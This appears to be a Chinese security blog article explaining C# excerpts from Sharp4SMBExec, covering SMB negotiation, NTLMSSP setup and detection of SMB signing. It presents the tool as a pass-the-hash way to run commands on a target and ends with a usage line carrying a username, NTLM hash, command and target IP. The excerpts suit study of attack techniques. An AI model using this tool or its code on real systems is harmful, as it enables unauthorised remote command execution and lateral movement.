在现代网络安全领域,SMB(Server Message Block)协议广泛应用于 Windows 操作系统之间的文件和打印共享,同时也为攻击者提供了很多潜在的攻击面。
SMB 协议中涉及的安全机制,如 NTLMSSP(NT LAN Manager Security Support Provider),在渗透测试、漏洞利用及网络攻击中占据了重要地位。本文将详细介绍如何在代码中处理 SMB 协商过程、NTLMSSP 协商以及如何判断 SMB 签名的启用状态。
SMB 协议用于在计算机之间共享文件、打印机和其他资源。在 SMB 协议的交换过程中,SMB 客户端与服务器之间会进行一系列的握手与协商操作。这些操作包括协议版本的协商、认证方式的选择、签名机制的启用与禁用等。
在 SMB 协商过程中,NTLMSSP 作为一种认证协议,广泛用于 Windows 网络中验证客户端身份。SMB 协商还涉及到 SMB1 和 SMB2 协议的支持与选择,SMB 签名则是为了确保数据的完整性和防止中间人攻击。
1.1 获取哈希和用户名
以下是代码中的重要部分,展示了如何通过 SMB 协议实现连接、进行版本协商并启用 NTLMSSP 协商。
if (!string.IsNullOrEmpty(hash))
{
if (debugging == true) { Console.WriteLine("Checking Hash Value nCurrent Hash: {0}", hash); }
if (hash.Contains(":"))
{
hash = hash.Split(':').Last();
}
}
if (!string.IsNullOrEmpty(domain))
{
output_username = domain + '\' + username;
}
else
{
output_username = username;
}
首先,代码从传入的哈希和用户名信息开始。如果哈希存在并且包含冒号,则提取哈希值的最后部分。此部分主要用于在后续步骤中执行身份验证时使用哈希。
1.2 获取当前进程ID
接着,代码获取当前进程ID,转换为字节数组,并进行处理。这个过程是为后续的 SMB 协商准备数据,以便将进程ID嵌入到 SMB 协议包中。
processID = Process.GetCurrentProcess().Id.ToString();
byte[] process_ID_Bytes = BitConverter.GetBytes(int.Parse(processID));
processID = BitConverter.ToString(process_ID_Bytes);
processID = processID.Replace("-00-00", "").Replace("-", "");
process_ID_Bytes = StringToByteArray(processID)
1.3 建立SMB连接
然后,代码使用 TcpClient 创建了一个到目标机器的连接,并通过指定的端口(通常是445端口)建立网络连接。这是 SMB 协议通信的标准端口。
TcpClient SMBClient = new TcpClient();
SMBClient.Client.ReceiveTimeout = 60000;
if (debugging == true) { Console.WriteLine("Attempting to establish connection to {0}", target); }
try
{
SMBClient.Connect(target, 445);
}
1.4 发送和接收数据包
在成功连接后,代码构建了 SMB 协议的数据包并发送到服务器。接收到的数据包将用于后续的协议版本协商。
NetworkStream SMBClientStream = SMBClient.GetStream();
SMBClientReceive = new byte[1024]; //Line 851
string SMBClientStage = "NegotiateSMB";
1.5 协议版本协商
这里代码通过 SMBClientStage 变量控制 SMB 协商的阶段。首先,客户端发送一个协商请求,询问目标支持的 SMB 版本,具体代码如下所示。
switch (SMBClientStage)
{
case "NegotiateSMB":
{
packet_SMB_header = new OrderedDictionary();
packet_SMB_header = GetPacketSMBHeader(new byte[] { 0x72 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, process_ID_Bytes, new byte[] { 0x00, 0x00 });
OrderedDictionary packet_SMB_data = GetPacketSMBNegotiateProtocolRequest(SMB_version);
byte[] SMB_header = ConvertFromPacketOrderedDictionary(packet_SMB_header);
byte[] SMB_data = ConvertFromPacketOrderedDictionary(packet_SMB_data);
OrderedDictionary packet_NetBIOS_session_service = GetPacketNetBIOSSessionService(SMB_header.Length, SMB_data.Length);
byte[] NetBIOS_session_service = ConvertFromPacketOrderedDictionary(packet_NetBIOS_session_service);
SMB_client_send = new byte[NetBIOS_session_service.Length + SMB_header.Length + SMB_data.Length];
Buffer.BlockCopy(NetBIOS_session_service, 0, SMB_client_send, 0, NetBIOS_session_service.Length);
Buffer.BlockCopy(SMB_header, 0, SMB_client_send, NetBIOS_session_service.Length, SMB_header.Length);
Buffer.BlockCopy(SMB_data, 0, SMB_client_send, NetBIOS_session_service.Length + SMB_header.Length, SMB_data.Length);
SMBClientStream.Write(SMB_client_send, 0, SMB_client_send.Length);
SMBClientStream.Flush();
SMBClientStream.Read(SMBClientReceive, 0, SMBClientReceive.Length);
if (BitConverter.ToString(new byte[] { SMBClientReceive[4], SMBClientReceive[5], SMBClientReceive[6], SMBClientReceive[7] }).ToLower() == "ff-53-4d-42")
{
SMB_version = "SMB1";
SMBClientStage = "NTLMSSPNegotiate";
if (BitConverter.ToString(new byte[] { SMBClientReceive[39] }).ToLower() == "0f")
{
Console.WriteLine("SMB Signing is enabled");
SMB_signing = true;
}
else
{
SMB_signing = false;
}
}
else
{
SMBClientStage = "NegotiateSMB2";
if (BitConverter.ToString(new byte[] { SMBClientReceive[70] }) == "03")
{
Console.WriteLine("SMB Signing is enabled");
SMB_signing = true;
}
else
{
SMB_signing = false;
}
}
}
break;
}
1.6 NTLMSSP 协商
一旦目标支持 SMB1,并且能够进行 NTLMSSP 协商,代码会继续进行 NTLMSSP 的身份验证过程。此时,SMB 签名的启用状态会直接影响后续的通信加密方式。
if (BitConverter.ToString(new byte[] { SMBClientReceive[39] }).ToLower() == "0f")
{
Console.WriteLine("SMB Signing is enabled");
SMB_signing = true;
}
else
{
SMB_signing = false;
}
Sharp4SMBExec 便是这样一款工具,基于 SMB协议,利用Windows 系统的身份验证机制来绕过传统的认证过程。只要攻击者拥有目标系统某个有效用户的 NTLM 哈希,就可以通过 SMB 执行命令。
2.1 工具用法
Sharp4SMBExec.exe username:Ivan1ee hash:32ed87bdb5fdc5e9cba88556767a34 command:c:windowssystem32winver.exe target:192.168.101.141
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
20+专栏文章
海量资源和工具
专属成员交流群
已入驻的大咖们
欢迎加入我们
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...